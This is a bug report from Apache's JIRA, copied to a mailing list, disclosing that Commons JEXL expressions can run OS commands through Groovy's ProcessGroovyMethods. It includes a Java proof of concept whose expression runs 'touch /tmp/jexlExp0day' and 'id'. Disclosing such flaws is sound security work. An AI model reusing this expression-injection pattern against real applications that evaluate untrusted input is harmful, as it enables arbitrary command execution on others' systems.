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From "cnbird (JIRA)" <j...@apache.org>
Subject [jira] [Created] (JEXL-223) Apache Commons JEXL Expression Execute Command Vulnerabilitity
Date Fri, 21 Apr 2017 07:36:04 GMT
cnbird created JEXL-223:
---------------------------

             Summary: Apache Commons JEXL Expression Execute Command Vulnerabilitity
                 Key: JEXL-223
                 URL: https://issues.apache.org/jira/browse/JEXL-223
             Project: Commons JEXL
          Issue Type: Bug
            Reporter: cnbird
            Priority: Critical


0x01 Summary
Apache Commons JEXL Expression Execute Command Vulnerabilitity throught groovy.

0x02 POC
import java.io.IOException;
import java.util.List;

import org.apache.commons.jexl3.JexlBuilder;
import org.apache.commons.jexl3.JexlContext;
import org.apache.commons.jexl3.JexlEngine;
import org.apache.commons.jexl3.JexlExpression;
import org.apache.commons.jexl3.MapContext;
import org.codehaus.groovy.runtime.ProcessGroovyMethods;

public class elExp {
	public static void main(String args[]) throws IOException {
		// Create or retrieve an engine
	    JexlEngine jexl = new JexlBuilder().create();
	    // Create an expression
	    //String jexlExp = "new(\"java.lang.String\", \"hello wolrd\")";
	    ProcessGroovyMethods n = new ProcessGroovyMethods();
	    System.out.println(n.execute("id").toString());
	    String jexlExp = "new(\"org.codehaus.groovy.runtime.ProcessGroovyMethods\").execute(\"touch
/tmp/jexlExp0day\")";
	    JexlExpression e = jexl.createExpression( jexlExp );
	    try {
	    	
			Process process = new ProcessBuilder("id").start();
		} catch (IOException e1) {
			// TODO Auto-generated catch block
			e1.printStackTrace();
		}
	    // Create a context and add data
	    JexlContext jc = new MapContext();
	    jc.set("foo", jexlExp );
	    
	    // Now evaluate the expression, getting the result
	    Object o = e.evaluate(jc);	
	    System.out.println(o);
	    }
}




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